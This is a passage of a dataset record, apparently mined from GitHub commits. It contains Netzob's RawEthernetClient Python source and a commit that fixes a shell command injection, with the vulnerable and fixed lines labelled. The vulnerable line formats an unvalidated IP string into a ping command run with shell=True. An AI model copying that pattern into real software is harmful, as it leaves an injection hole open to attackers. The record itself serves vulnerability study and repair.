ip_checksum.domain=InternetChecksum(fields=[ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16)) self.header=Symbol(name='Ethernet layer', fields=[eth_dst, eth_src, eth_type, ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload]) @property def remoteIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__remoteIP @remoteIP.setter @typeCheck(str) def remoteIP(self, remoteIP): if remoteIP is None: raise TypeError(\"Listening IP cannot be None\") self.__remoteIP=remoteIP @property def localIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__localIP @localIP.setter @typeCheck(str) def localIP(self, localIP): self.__localIP=localIP @property def upperProtocol(self): \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc. :type::class:`str` \"\"\" return self.__upperProtocol @upperProtocol.setter @typeCheck(int) def upperProtocol(self, upperProtocol): if upperProtocol is None: raise TypeError(\"Upper protocol cannot be None\") self.__upperProtocol=upperProtocol @property def interface(self): \"\"\"Interface such as eth0, lo. :type::class:`str` \"\"\" return self.__interface @interface.setter @typeCheck(str) def interface(self, interface): if interface is None: raise TypeError(\"Interface cannot be None\") self.__interface=interface @property def timeout(self): return self.__timeout @timeout.setter @typeCheck(int) def timeout(self, timeout): self.__timeout=timeout ", "sourceWithComments": "#-*- coding: utf-8 -*-\n\n#+---------------------------------------------------------------------------+\n#| 01001110 01100101 01110100 01111010 01101111 01100010 |\n#| |\n#| Netzob : Inferring communication protocols |\n#+---------------------------------------------------------------------------+\n#| Copyright (C) 2011-2017 Georges Bossert and Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#| This program is free software: you can redistribute it and/or modify |\n#| it under the terms of the GNU General Public License as published by |\n#| the Free Software Foundation, either version 3 of the License, or |\n#| (at your option) any later version. |\n#| |\n#| This program is distributed in the hope that it will be useful, |\n#| but WITHOUT ANY WARRANTY; without even the implied warranty of |\n#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |\n#| GNU General Public License for more details. |\n#| |\n#| You should have received a copy of the GNU General Public License |\n#| along with this program. If not, see . |\n#+---------------------------------------------------------------------------+\n#| @url : http://www.netzob.org |\n#| @contact : contact@netzob.org |\n#| @sponsors : Amossys, http://www.amossys.fr |\n#| Sup\u00e9lec, http://www.rennes.supelec.fr/ren/rd/cidre/ |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| File contributors : |\n#| - Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Standard library imports |\n#+---------------------------------------------------------------------------+\nimport socket\nfrom bitarray import bitarray\nimport struct\nfrom fcntl import ioctl\nimport arpreq\nimport subprocess\nimport time\nimport binascii\n\n#+---------------------------------------------------------------------------+\n#| Related third party imports |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Local application imports |\n#+---------------------------------------------------------------------------+\nfrom netzob.Common.Utils.Decorators import typeCheck, NetzobLogger\nfrom netzob.Simulator.Channels.AbstractChannel import AbstractChannel\nfrom netzob.Model.Vocabulary.Field import Field\nfrom netzob.Model.Vocabulary.Symbol import Symbol\nfrom netzob.Model.Types.IPv4 import IPv4\nfrom netzob.Model.Types.Raw import Raw\nfrom netzob.Model.Types.BitArray import BitArray\nfrom netzob.Model.Types.Integer import Integer\nfrom netzob.Model.Types.AbstractType import AbstractType\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum\nfrom netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS\n\n\n@NetzobLogger\nclass RawEthernetClient(AbstractChannel):\n \"\"\"A RawEthernetClient is a communication channel allowing to send IP\n payloads. This channel is responsible for building the IP layer.\n\n Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html\n\n >>> from netzob.all import *\n >>> client = RawEthernetClient(remoteIP='127.0.0.1')\n >>> client.open()\n >>> symbol = Symbol([Field(\"Hello Zoby !\")])\n >>> client.write(symbol.specialize())\n >>> client.close()\n\n \"\"\"\n\n ETH_P_ALL = 3\n\n @typeCheck(str, int)\n def __init__(self,\n remoteIP,\n localIP=None,\n upperProtocol=socket.IPPROTO_TCP,\n interface=\"eth0\",\n timeout=5):\n super(RawEthernetClient, self).__init__(isServer=False)\n self.remoteIP = remoteIP\n self.localIP = localIP\n self.upperProtocol = upperProtocol\n self.interface = interface\n self.timeout = timeout\n self.__socket = None\n self.header = None # The IP header symbol format\n self.header_presets = {} # Dict used to parameterize IP header fields\n self.type = AbstractChannel.TYPE_RAWETHERNETCLIENT\n\n # Header initialization\n self.initHeader()\n\n def open(self, timeout=None):\n \"\"\"Open the communication channel. If the channel is a client, it starts to connect\n to the specified server.\n \"\"\"\n\n if self.isOpen:\n raise RuntimeError(\n \"The channel is already open, cannot open it again\")\n\n self.__socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL))\n self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL))\n self.isOpen = True\n\n def close(self):\n \"\"\"Close the communication channel.\"\"\"\n if self.__socket is not None:\n self.__socket.close()\n self.isOpen = False\n\n def read(self, timeout=None):\n \"\"\"Read the next message on the communication channel.\n\n @keyword timeout: the maximum time in millisecond to wait before a message can be reached\n @type timeout: :class:`int`\n \"\"\"\n # TODO: handle timeout\n if self.__socket is not None:\n (data, _) = self.__socket.recvfrom(65535)\n\n # Remove Ethernet header from received data\n ethHeaderLen = 14 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ethHeaderLen:\n data = data[ethHeaderLen:]\n\n # Remove IP header from received data\n ipHeaderLen = (data[0] & 15) * 4 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ipHeaderLen:\n data = data[ipHeaderLen:]\n return data\n else:\n raise Exception(\"socket is not available\")\n\n def writePacket(self, data):\n \"\"\"Write on the communication channel the specified data\n\n :parameter data: the data to write on the channel\n :type data: binary object\n \"\"\"\n\n if self.header is None:\n raise Exception(\"IP header structure is None\")\n\n if self.__socket is None:\n raise Exception(\"socket is not available\")\n\n self.header_presets['ip.payload'] = data\n packet = self.header.specialize(presets=self.header_presets)\n len_data = self.__socket.sendto(packet, (self.interface, RawEthernetClient.ETH_P_ALL))\n return len_data\n\n @typeCheck(bytes)\n def sendReceive(self, data, timeout=None):\n \"\"\"Write on the communication channel the specified data and returns the corresponding response\n\n :parameter data: the data to write on the channel\n :type data: binary object\n @type timeout: :class:`int`\n \"\"\"\n if self.__socket is not None:\n # get the ports from message to identify the good response (in TCP or UDP)\n portSrcTx = (data[0] * 256) + data[1]\n portDstTx = (data[2] * 256) + data[3]\n\n responseOk = False\n stopWaitingResponse = False\n self.write(data)\n while stopWaitingResponse is False:\n # TODO: handle timeout\n dataReceived = self.read(timeout)\n portSrcRx = (dataReceived[0] * 256) + dataReceived[1]\n portDstRx = (dataReceived[2] * 256) + dataReceived[3]\n stopWaitingResponse = (portSrcTx == portDstRx) and (portDstTx == portSrcRx)\n if stopWaitingResponse: # and not timeout\n responseOk = True\n if responseOk:\n return dataReceived\n else:\n raise Exception(\"socket is not available\")\n\n def get_interface_addr(self, ifname):\n SIOCGIFHWADDR = 0x8927\n s = socket.socket()\n response = ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname))\n s.close()\n return struct.unpack(\"16xh6s8x\", response)\n\n def initHeader(self):\n \"\"\"Initialize the IP header according to the IP format definition.\n\n \"\"\"\n\n # Ethernet header\n\n # Retrieve remote MAC address\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n p.wait()\n time.sleep(0.1)\n\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP))\n\n # Retrieve local MAC address\n srcMacAddr = self.get_interface_addr(bytes(self.interface, 'utf-8'))[1]\n\n eth_dst = Field(name='eth.dst', domain=Raw(dstMacAddr))\n eth_src = Field(name='eth.src', domain=Raw(srcMacAddr))\n eth_type = Field(name='eth.type', domain=Raw(b\"\\x08\\x00\"))\n\n\n # IP header\n\n ip_ver = Field(\n name='ip.version', domain=BitArray(\n value=bitarray('0100'))) # IP Version 4\n ip_ihl = Field(name='ip.hdr_len', domain=BitArray(bitarray('0000')))\n ip_tos = Field(\n name='ip.tos',\n domain=Data(\n dataType=BitArray(nbBits=8),\n originalValue=bitarray('00000000'),\n svas=SVAS.PERSISTENT))\n ip_tot_len = Field(\n name='ip.len', domain=BitArray(bitarray('0000000000000000')))\n ip_id = Field(name='ip.id', domain=BitArray(nbBits=16))\n ip_flags = Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT))\n ip_frag_off = Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT))\n ip_ttl = Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT))\n ip_proto = Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED))\n ip_checksum = Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000')))\n ip_saddr = Field(name='ip.src', domain=IPv4(self.localIP))\n ip_daddr = Field(\n name='ip.dst', domain=IPv4(self.remoteIP))\n ip_payload = Field(name='ip.payload', domain=Raw())\n\n ip_ihl.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id, ip_flags,\n ip_frag_off,\n ip_ttl, ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32))\n ip_tot_len.domain = Size([ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8))\n ip_checksum.domain = InternetChecksum(fields=[ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16))\n \n self.header = Symbol(name='Ethernet layer', fields=[eth_dst,\n eth_src,\n eth_type,\n ip_ver,\n ip_ihl,\n ip_tos,\n ip_tot_len,\n ip_id,\n ip_flags,\n ip_frag_off,\n ip_ttl,\n ip_proto,\n ip_checksum,\n ip_saddr,\n ip_daddr,\n ip_payload])\n\n # Management methods\n\n # Properties\n\n @property\n def remoteIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__remoteIP\n\n @remoteIP.setter\n @typeCheck(str)\n def remoteIP(self, remoteIP):\n if remoteIP is None:\n raise TypeError(\"Listening IP cannot be None\")\n\n self.__remoteIP = remoteIP\n\n @property\n def localIP(self):\n \"\"\"IP on which the server will listen.\n\n :type: :class:`str`\n \"\"\"\n return self.__localIP\n\n @localIP.setter\n @typeCheck(str)\n def localIP(self, localIP):\n self.__localIP = localIP\n\n @property\n def upperProtocol(self):\n \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc.\n\n :type: :class:`str`\n \"\"\"\n return self.__upperProtocol\n\n @upperProtocol.setter\n @typeCheck(int)\n def upperProtocol(self, upperProtocol):\n if upperProtocol is None:\n raise TypeError(\"Upper protocol cannot be None\")\n\n self.__upperProtocol = upperProtocol\n\n @property\n def interface(self):\n \"\"\"Interface such as eth0, lo.\n\n :type: :class:`str`\n \"\"\"\n return self.__interface\n\n @interface.setter\n @typeCheck(str)\n def interface(self, interface):\n if interface is None:\n raise TypeError(\"Interface cannot be None\")\n\n self.__interface = interface\n\n @property\n def timeout(self):\n return self.__timeout\n\n @timeout.setter\n @typeCheck(int)\n def timeout(self, timeout):\n self.__timeout = timeout\n"}}, "msg": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --"}, "671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c": {"url": "https://api.github.com/repos/yasong/netzob/commits/671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "html_url": "https://github.com/yasong/netzob/commit/671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "message": "Remove security issue related to shell command injection\nSee PR AMOSSYS/nozzle-Netzob#1\n\n-- Carried out under contract n\u00b01100036530 for ANSSI --", "sha": "671c82d8d5eadb4fd58ab16ed8e53d6fab3b276c", "keyword": "command injection issue", "diff": "diff --git a/src/netzob/Simulator/Channels/RawEthernetClient.py b/src/netzob/Simulator/Channels/RawEthernetClient.py\nindex 3578c4e4..efee6ab1 100644\n--- a/src/netzob/Simulator/Channels/RawEthernetClient.py\n+++ b/src/netzob/Simulator/Channels/RawEthernetClient.py\n@@ -213,7 +213,7 @@ def initHeader(self):\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "files": {"/src/netzob/Simulator/Channels/RawEthernetClient.py": {"changes": [{"diff": "\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP resolution\n- p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)\n+ p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])\n p.wait()\n time.sleep(0.1)\n \n", "add": 1, "remove": 1, "filename": "/src/netzob/Simulator/Channels/RawEthernetClient.py", "badparts": [" p = subprocess.Popen(\"ping -c1 {}\".format(self.remoteIP), shell=True)"], "goodparts": [" p = subprocess.Popen([\"/bin/ping\", \"-c1\", self.remoteIP])"]}], "source": "\n import socket from bitarray import bitarray import struct from fcntl import ioctl import arpreq import subprocess import time import binascii from netzob.Common.Utils.Decorators import typeCheck, NetzobLogger from netzob.Simulator.Channels.AbstractChannel import AbstractChannel from netzob.Model.Vocabulary.Field import Field from netzob.Model.Vocabulary.Symbol import Symbol from netzob.Model.Types.IPv4 import IPv4 from netzob.Model.Types.Raw import Raw from netzob.Model.Types.BitArray import BitArray from netzob.Model.Types.Integer import Integer from netzob.Model.Types.AbstractType import AbstractType from netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size from netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data from netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum from netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS @NetzobLogger class RawEthernetClient(AbstractChannel): \"\"\"A RawEthernetClient is a communication channel allowing to send IP payloads. This channel is responsible for building the IP layer. Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html >>> from netzob.all import * >>> client=RawEthernetClient(remoteIP='127.0.0.1') >>> client.open() >>> symbol=Symbol([Field(\"Hello Zoby !\")]) >>> client.write(symbol.specialize()) >>> client.close() \"\"\" ETH_P_ALL=3 @typeCheck(str, int) def __init__(self, remoteIP, localIP=None, upperProtocol=socket.IPPROTO_TCP, interface=\"eth0\", timeout=5): super(RawEthernetClient, self).__init__(isServer=False) self.remoteIP=remoteIP self.localIP=localIP self.upperProtocol=upperProtocol self.interface=interface self.timeout=timeout self.__socket=None self.header=None self.header_presets={} self.type=AbstractChannel.TYPE_RAWETHERNETCLIENT self.initHeader() def open(self, timeout=None): \"\"\"Open the communication channel. If the channel is a client, it starts to connect to the specified server. \"\"\" if self.isOpen: raise RuntimeError( \"The channel is already open, cannot open it again\") self.__socket=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL)) self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL)) self.isOpen=True def close(self): \"\"\"Close the communication channel.\"\"\" if self.__socket is not None: self.__socket.close() self.isOpen=False def read(self, timeout=None): \"\"\"Read the next message on the communication channel. @keyword timeout: the maximum time in millisecond to wait before a message can be reached @type timeout::class:`int` \"\"\" if self.__socket is not None: (data, _)=self.__socket.recvfrom(65535) ethHeaderLen=14 if len(data) > ethHeaderLen: data=data[ethHeaderLen:] ipHeaderLen=(data[0] & 15) * 4 if len(data) > ipHeaderLen: data=data[ipHeaderLen:] return data else: raise Exception(\"socket is not available\") def writePacket(self, data): \"\"\"Write on the communication channel the specified data :parameter data: the data to write on the channel :type data: binary object \"\"\" if self.header is None: raise Exception(\"IP header structure is None\") if self.__socket is None: raise Exception(\"socket is not available\") self.header_presets['ip.payload']=data packet=self.header.specialize(presets=self.header_presets) len_data=self.__socket.sendto(packet,(self.interface, RawEthernetClient.ETH_P_ALL)) return len_data @typeCheck(bytes) def sendReceive(self, data, timeout=None): \"\"\"Write on the communication channel the specified data and returns the corresponding response :parameter data: the data to write on the channel :type data: binary object @type timeout::class:`int` \"\"\" if self.__socket is not None: portSrcTx=(data[0] * 256) +data[1] portDstTx=(data[2] * 256) +data[3] responseOk=False stopWaitingResponse=False self.write(data) while stopWaitingResponse is False: dataReceived=self.read(timeout) portSrcRx=(dataReceived[0] * 256) +dataReceived[1] portDstRx=(dataReceived[2] * 256) +dataReceived[3] stopWaitingResponse=(portSrcTx==portDstRx) and(portDstTx==portSrcRx) if stopWaitingResponse: responseOk=True if responseOk: return dataReceived else: raise Exception(\"socket is not available\") def get_interface_addr(self, ifname): SIOCGIFHWADDR=0x8927 s=socket.socket() response=ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname)) s.close() return struct.unpack(\"16xh6s8x\", response) def initHeader(self): \"\"\"Initialize the IP header according to the IP format definition. \"\"\" dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: p=subprocess.Popen(\"ping -c1{}\".format(self.remoteIP), shell=True) p.wait() time.sleep(0.1) dstMacAddr=arpreq.arpreq(self.remoteIP) if dstMacAddr is not None: dstMacAddr=dstMacAddr.replace(':', '') dstMacAddr=binascii.unhexlify(dstMacAddr) else: raise Exception(\"Cannot resolve IP address to a MAC address for IP: '{}'\".format(self.remoteIP)) srcMacAddr=self.get_interface_addr(bytes(self.interface, 'utf-8'))[1] eth_dst=Field(name='eth.dst', domain=Raw(dstMacAddr)) eth_src=Field(name='eth.src', domain=Raw(srcMacAddr)) eth_type=Field(name='eth.type', domain=Raw(b\"\\x08\\x00\")) ip_ver=Field( name='ip.version', domain=BitArray( value=bitarray('0100'))) ip_ihl=Field(name='ip.hdr_len', domain=BitArray(bitarray('0000'))) ip_tos=Field( name='ip.tos', domain=Data( dataType=BitArray(nbBits=8), originalValue=bitarray('00000000'), svas=SVAS.PERSISTENT)) ip_tot_len=Field( name='ip.len', domain=BitArray(bitarray('0000000000000000'))) ip_id=Field(name='ip.id', domain=BitArray(nbBits=16)) ip_flags=Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT)) ip_frag_off=Field(name='ip.fragment', domain=Data(dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT)) ip_ttl=Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT)) ip_proto=Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED)) ip_checksum=Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000'))) ip_saddr=Field(name='ip.src', domain=IPv4(self.localIP)) ip_daddr=Field( name='ip.dst', domain=IPv4(self.remoteIP)) ip_payload=Field(name='ip.payload', domain=Raw()) ip_ihl.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=BitArray(nbBits=4), factor=1/float(32)) ip_tot_len.domain=Size([ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload], dataType=Integer(unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1/float(8)) ip_checksum.domain=InternetChecksum(fields=[ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16)) self.header=Symbol(name='Ethernet layer', fields=[eth_dst, eth_src, eth_type, ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload]) @property def remoteIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__remoteIP @remoteIP.setter @typeCheck(str) def remoteIP(self, remoteIP): if remoteIP is None: raise TypeError(\"Listening IP cannot be None\") self.__remoteIP=remoteIP @property def localIP(self): \"\"\"IP on which the server will listen. :type::class:`str` \"\"\" return self.__localIP @localIP.setter @typeCheck(str) def localIP(self, localIP): self.__localIP=localIP @property def upperProtocol(self): \"\"\"Upper protocol, such as TCP, UDP, ICMP, etc. :type::class:`str` \"\"\" return self.__upperProtocol @upperProtocol.setter @typeCheck(int) def upperProtocol(self, upperProtocol): if upperProtocol is None: raise TypeError(\"Upper protocol cannot be None\") self.__upperProtocol=upperProtocol @property def interface(self): \"\"\"Interface such as eth0, lo. :type::class:`str` \"\"\" return self.__interface @interface.setter @typeCheck(str) def interface(self, interface): if interface is None: raise TypeError(\"Interface cannot be None\") self.__interface=interface @property def timeout(self): return self.__timeout @timeout.setter @typeCheck(int) def timeout(self, timeout): self.__timeout=timeout ", "sourceWithComments": "#-*- coding: utf-8 -*-\n\n#+---------------------------------------------------------------------------+\n#| 01001110 01100101 01110100 01111010 01101111 01100010 |\n#| |\n#| Netzob : Inferring communication protocols |\n#+---------------------------------------------------------------------------+\n#| Copyright (C) 2011-2017 Georges Bossert and Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#| This program is free software: you can redistribute it and/or modify |\n#| it under the terms of the GNU General Public License as published by |\n#| the Free Software Foundation, either version 3 of the License, or |\n#| (at your option) any later version. |\n#| |\n#| This program is distributed in the hope that it will be useful, |\n#| but WITHOUT ANY WARRANTY; without even the implied warranty of |\n#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |\n#| GNU General Public License for more details. |\n#| |\n#| You should have received a copy of the GNU General Public License |\n#| along with this program. If not, see . |\n#+---------------------------------------------------------------------------+\n#| @url : http://www.netzob.org |\n#| @contact : contact@netzob.org |\n#| @sponsors : Amossys, http://www.amossys.fr |\n#| Sup\u00e9lec, http://www.rennes.supelec.fr/ren/rd/cidre/ |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| File contributors : |\n#| - Fr\u00e9d\u00e9ric Guih\u00e9ry |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Standard library imports |\n#+---------------------------------------------------------------------------+\nimport socket\nfrom bitarray import bitarray\nimport struct\nfrom fcntl import ioctl\nimport arpreq\nimport subprocess\nimport time\nimport binascii\n\n#+---------------------------------------------------------------------------+\n#| Related third party imports |\n#+---------------------------------------------------------------------------+\n\n#+---------------------------------------------------------------------------+\n#| Local application imports |\n#+---------------------------------------------------------------------------+\nfrom netzob.Common.Utils.Decorators import typeCheck, NetzobLogger\nfrom netzob.Simulator.Channels.AbstractChannel import AbstractChannel\nfrom netzob.Model.Vocabulary.Field import Field\nfrom netzob.Model.Vocabulary.Symbol import Symbol\nfrom netzob.Model.Types.IPv4 import IPv4\nfrom netzob.Model.Types.Raw import Raw\nfrom netzob.Model.Types.BitArray import BitArray\nfrom netzob.Model.Types.Integer import Integer\nfrom netzob.Model.Types.AbstractType import AbstractType\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Size import Size\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.Data import Data\nfrom netzob.Model.Vocabulary.Domain.Variables.Leafs.InternetChecksum import InternetChecksum\nfrom netzob.Model.Vocabulary.Domain.Variables.SVAS import SVAS\n\n\n@NetzobLogger\nclass RawEthernetClient(AbstractChannel):\n \"\"\"A RawEthernetClient is a communication channel allowing to send IP\n payloads. This channel is responsible for building the IP layer.\n\n Interesting link: http://www.offensivepython.com/2014/09/packet-injection-capturing-response.html\n\n >>> from netzob.all import *\n >>> client = RawEthernetClient(remoteIP='127.0.0.1')\n >>> client.open()\n >>> symbol = Symbol([Field(\"Hello Zoby !\")])\n >>> client.write(symbol.specialize())\n >>> client.close()\n\n \"\"\"\n\n ETH_P_ALL = 3\n\n @typeCheck(str, int)\n def __init__(self,\n remoteIP,\n localIP=None,\n upperProtocol=socket.IPPROTO_TCP,\n interface=\"eth0\",\n timeout=5):\n super(RawEthernetClient, self).__init__(isServer=False)\n self.remoteIP = remoteIP\n self.localIP = localIP\n self.upperProtocol = upperProtocol\n self.interface = interface\n self.timeout = timeout\n self.__socket = None\n self.header = None # The IP header symbol format\n self.header_presets = {} # Dict used to parameterize IP header fields\n self.type = AbstractChannel.TYPE_RAWETHERNETCLIENT\n\n # Header initialization\n self.initHeader()\n\n def open(self, timeout=None):\n \"\"\"Open the communication channel. If the channel is a client, it starts to connect\n to the specified server.\n \"\"\"\n\n if self.isOpen:\n raise RuntimeError(\n \"The channel is already open, cannot open it again\")\n\n self.__socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(RawEthernetClient.ETH_P_ALL))\n self.__socket.bind((self.interface, RawEthernetClient.ETH_P_ALL))\n self.isOpen = True\n\n def close(self):\n \"\"\"Close the communication channel.\"\"\"\n if self.__socket is not None:\n self.__socket.close()\n self.isOpen = False\n\n def read(self, timeout=None):\n \"\"\"Read the next message on the communication channel.\n\n @keyword timeout: the maximum time in millisecond to wait before a message can be reached\n @type timeout: :class:`int`\n \"\"\"\n # TODO: handle timeout\n if self.__socket is not None:\n (data, _) = self.__socket.recvfrom(65535)\n\n # Remove Ethernet header from received data\n ethHeaderLen = 14 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ethHeaderLen:\n data = data[ethHeaderLen:]\n\n # Remove IP header from received data\n ipHeaderLen = (data[0] & 15) * 4 # (Bitwise AND 00001111) x 4bytes --> see RFC-791\n if len(data) > ipHeaderLen:\n data = data[ipHeaderLen:]\n return data\n else:\n raise Exception(\"socket is not available\")\n\n def writePacket(self, data):\n \"\"\"Write on the communication channel the specified data\n\n :parameter data: the data to write on the channel\n :type data: binary object\n \"\"\"\n\n if self.header is None:\n raise Exception(\"IP header structure is None\")\n\n if self.__socket is None:\n raise Exception(\"socket is not available\")\n\n self.header_presets['ip.payload'] = data\n packet = self.header.specialize(presets=self.header_presets)\n len_data = self.__socket.sendto(packet, (self.interface, RawEthernetClient.ETH_P_ALL))\n return len_data\n\n @typeCheck(bytes)\n def sendReceive(self, data, timeout=None):\n \"\"\"Write on the communication channel the specified data and returns the corresponding response\n\n :parameter data: the data to write on the channel\n :type data: binary object\n @type timeout: :class:`int`\n \"\"\"\n if self.__socket is not None:\n # get the ports from message to identify the good response (in TCP or UDP)\n portSrcTx = (data[0] * 256) + data[1]\n portDstTx = (data[2] * 256) + data[3]\n\n responseOk = False\n stopWaitingResponse = False\n self.write(data)\n while stopWaitingResponse is False:\n # TODO: handle timeout\n dataReceived = self.read(timeout)\n portSrcRx = (dataReceived[0] * 256) + dataReceived[1]\n portDstRx = (dataReceived[2] * 256) + dataReceived[3]\n stopWaitingResponse = (portSrcTx == portDstRx) and (portDstTx == portSrcRx)\n if stopWaitingResponse: # and not timeout\n responseOk = True\n if responseOk:\n return dataReceived\n else:\n raise Exception(\"socket is not available\")\n\n def get_interface_addr(self, ifname):\n SIOCGIFHWADDR = 0x8927\n s = socket.socket()\n response = ioctl(s, SIOCGIFHWADDR, struct.pack(\"16s16x\",ifname))\n s.close()\n return struct.unpack(\"16xh6s8x\", response)\n\n def initHeader(self):\n \"\"\"Initialize the IP header according to the IP format definition.\n\n \"\"\"\n\n # Ethernet header\n\n # Retrieve remote MAC address\n dstMacAddr = arpreq.arpreq(self.remoteIP)\n if dstMacAddr is not None:\n dstMacAddr = dstMacAddr.replace(':', '')\n dstMacAddr = binascii.unhexlify(dstMacAddr)\n else:\n # Force ARP 